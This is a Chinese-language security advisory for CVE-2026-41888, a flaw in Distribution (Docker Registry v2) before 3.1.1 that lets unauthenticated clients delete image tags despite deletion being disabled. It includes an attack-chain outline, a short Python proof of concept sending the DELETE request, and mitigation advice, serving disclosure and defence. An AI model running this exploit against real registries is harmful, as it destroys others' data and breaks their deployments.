IPBUF安全漏洞报告
English
CVE-2026-41888 CVSS 6.5 中危

CVE-2026-41888 Distribution标签删除权限绕过漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-41888
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Distribution (Docker Registry v2)

相关标签

权限绕过容器安全DistributionCVE-2026-41888配置缺陷

漏洞概述

Distribution是一个用于打包、存储和交付容器内容的工具包。在3.1.1版本之前,该产品存在一个安全漏洞。尽管操作员可能通过设置storage.delete.enabled: false来显式禁用删除功能,但攻击者仍可以通过DELETE /v2/<name>/manifests/<tag>端点绕过此配置。这允许任何未经授权的API客户端删除仓库中的标签,破坏了数据的完整性和可用性。该问题已在3.1.1版本中得到修复。

技术细节

该漏洞源于Distribution在处理标签删除请求时的逻辑缺陷。当管理员配置`storage.delete.enabled: false`以防止用户删除镜像标签时,系统本应拦截所有DELETE操作。然而,在受影响版本中,针对`/v2/<name>/manifests/<tag>`接口的请求未正确校验此配置项。攻击者无需身份认证即可向受害服务器发送特制的HTTP DELETE请求。由于校验机制被绕过,服务器会执行删除操作,导致指定标签被移除。这不仅违反了最小权限原则,还可能导致依赖该标签的业务系统因无法拉取镜像而中断服务。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标正在运行Distribution服务,并确认其版本低于3.1.1。
STEP 2
2. 构造攻击请求
攻击者构造一个针对/v2/<name>/manifests/<tag>端口的HTTP DELETE请求。
STEP 3
3. 执行权限绕过
服务器接收到请求,由于漏洞存在,未检查storage.delete.enabled配置,直接处理删除逻辑。
STEP 4
4. 造成破坏
仓库中的指定标签被删除,导致依赖该镜像的部署失败或数据丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Distribution registry # Replace <target> with the actual host, <repo> with repository name, <tag> with the tag to delete target_url = "http://<target>/v2/<repo>/manifests/<tag>" try: # Send a DELETE request to remove the tag # This bypasses the storage.delete.enabled: false configuration response = requests.delete(target_url) if response.status_code == 202: print("[+] PoC successful: Tag deleted.") elif response.status_code == 404: print("[-] PoC failed: Tag or repository not found.") else: print(f"[-] PoC failed: Status code {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

Distribution < 3.1.1

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界(如WAF或反向代理)处拦截对/v2/路径下的HTTP DELETE方法请求,或者限制Registry服务的外网访问,仅允许可信的内部IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表